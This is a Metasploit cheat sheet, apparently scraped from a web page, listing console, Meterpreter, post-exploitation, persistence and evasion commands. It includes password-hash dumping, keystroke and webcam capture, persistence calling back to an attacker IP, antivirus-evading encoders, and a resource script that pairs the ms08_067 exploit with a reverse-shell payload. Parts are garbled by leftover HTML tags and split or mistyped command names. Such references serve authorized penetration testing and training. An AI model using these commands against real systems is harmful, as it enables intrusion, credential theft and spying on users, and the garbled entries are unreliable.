

Metasploit Cheatsheet

A comprehensive cheat sheet covering essential Metasploit commands, modules, and techniques for penetration testing and vulnerability exploitation.



Core Commands

Basic Commands

help	Displays help menu.
banner	Displays the Metasploit banner.
version	Shows the current Metasploit version.
exit or quit	Exits the Metasploit console.
search <keyword></keyword>	Searches for modules related to a keyword.
info <module></module>	Displays information about a specific module.

Module Interaction

<pre>use <module></module></pre>	Loads a module.
show options	Displays available options for the loaded module.
<pre>set <option> <value></value></option></pre>	Sets a value for a module option.
<pre>unset <option></option></pre>	Unsets a previously set option.
exploit or	Executes the loaded module.
back	Returns to the main Metasploit console.

Database Backend Commands

db_status	Checks the status of the database connection.
<pre>db_connect <user>: <pre><pre><pre>cpassword>@<host>/</host></pre></pre></pre></user></pre>	Connects to a database.
hosts	Lists discovered hosts.
services	Lists discovered services.
vulns	Lists discovered vulnerabilities.
creds	Lists discovered credentials.

Meterpreter Commands

System Commands

sysinfo	Displays information about the target system.
getuid	Gets the user ID of the current process.
getsystem	Attempts to escalate privileges to SYSTEM.
pwd	Prints the current working directory.
cd <directory></directory>	Changes the current directory.
search -f <filename></filename>	Searches for files on the target system.

File System Commands

1s	Lists files and directories in the current directory.
<pre>download <remote_file> [local_file]</remote_file></pre>	Downloads a file from the target system.
<pre>upload <local_file> [remote_file]</local_file></pre>	Uploads a file to the target system.
cat <filename></filename>	Displays the contents of a file.
<pre>mkdir <directory></directory></pre>	Creates a directory.
rm <file></file>	Deletes a file.

Networking Commands

ipconfig	Displays network configuration.
<pre>portfwd add -1 <local_port> -p <remote_port> -r <remote_host></remote_host></remote_port></local_port></pre>	Forwards a port from the attacker machine to the target machine.
route add <subnet> <mask> <gateway></gateway></mask></subnet>	Adds a route to the routing table.
netstat	Displays network connections.
resolve <hostname></hostname>	Resolve hostname to IP address
ifconfig	Displays network interface configuration (Linux).

Post-Exploitation

Credential Gathering

hashdum p	Dumps password hashes from the SAM database (Windows).
migrate <pid></pid>	Migrates Meterpreter to another process.
keyscan _start	Starts capturing keystrokes.
keyscan_dump	Dumps captured keystrokes.
screens	Takes a screenshot of the target's desktop.
webcam_ snap	Takes a snapshot from the target's webcam.

Pivoting

autoroute -s <subnet> -n <mask></mask></subnet>	Adds a route to the routing table for pivoting.
background	Backgrounds the current session.
sessions	Lists active sessions.
<pre>sessions -i <session_id></session_id></pre>	Interacts with a specific session.
route print	Displays the current routing table.
meterpreter	Enters meterpreter shell.

Persistence

run persistence -X -i <interval> -p <port> -r <attacker_ip></attacker_ip></port></interval>	Sets up persistence on the target system (Windows).
run autorun -f	Execute commands from autorun script.
<pre>run metsvc)</pre>	Uploads and runs Meterpreter as a Windows service.
<pre>(reg enumkey -k HKLM\\Software\\Micr osoft\\Windows\\Curr entVersion\\Run</pre>	Enumerates registry keys.
use exploit/windows/loca l/persistence	Uses a specific persistence exploit module.
run scheduleme	Creates a scheduled task.

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Advanced Techniques

Evasion Techniques

set EnableStageEnco ding true	Enables stage encoding to evade antivirus.
set StagerEncoder <encoder></encoder>	Sets the encoder for the stager.
set StagerVerifyChe cksum true	Verifies checksums of stager components.
<pre>generate -t <format> -f <filename></filename></format></pre>	Generates payloads in different formats (e.g., exe, raw).
use encoder/x86/shi kata_ga_nai	Uses the shikata_ga_nai encoder for evasion.
set ExitFunc thread	Sets exit function to thread for stealth.

Module Development

Creating Auxiliary Modules	Use the auxiliary module type for scanning, fingerprinting, and other non-exploit tasks.
Creating Exploit Modules	Exploit tusts. Exploit modules are designed to take advantage of vulnerabilities in target systems.
Creating Post Modules	Post modules are executed on a compromised target system after successful exploitation.
Essential parameters	Name , Description , Author , License , References , Targets , Payload
Documenting Modules	Provide clear descriptions, usage instructions, and notes for each module.
Testing Modules	Thoroughly test modules against various target

Resource Scripts

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Creating a Resource Script	Resource scripts are simple text files with a list of Metasploit commands to execute.
Running a Resource Script	resource <path_to_script></path_to_script>
Example	use exploit/windows/smb/ms08_ 067_netapi set RHOST <target_ip> set PAYLOAD windows/meterpreter/rever se_tcp set LHOST <attacker_ip> exploit</attacker_ip></target_ip>
Variables	You can use variables in resource scripts to make them more flexible.
Comments	Add comments to your resource scripts to document what each command does.
Automation	Automate repetitive tasks, such as scanning a network for vulnerabilities or setting up a reverse shell.

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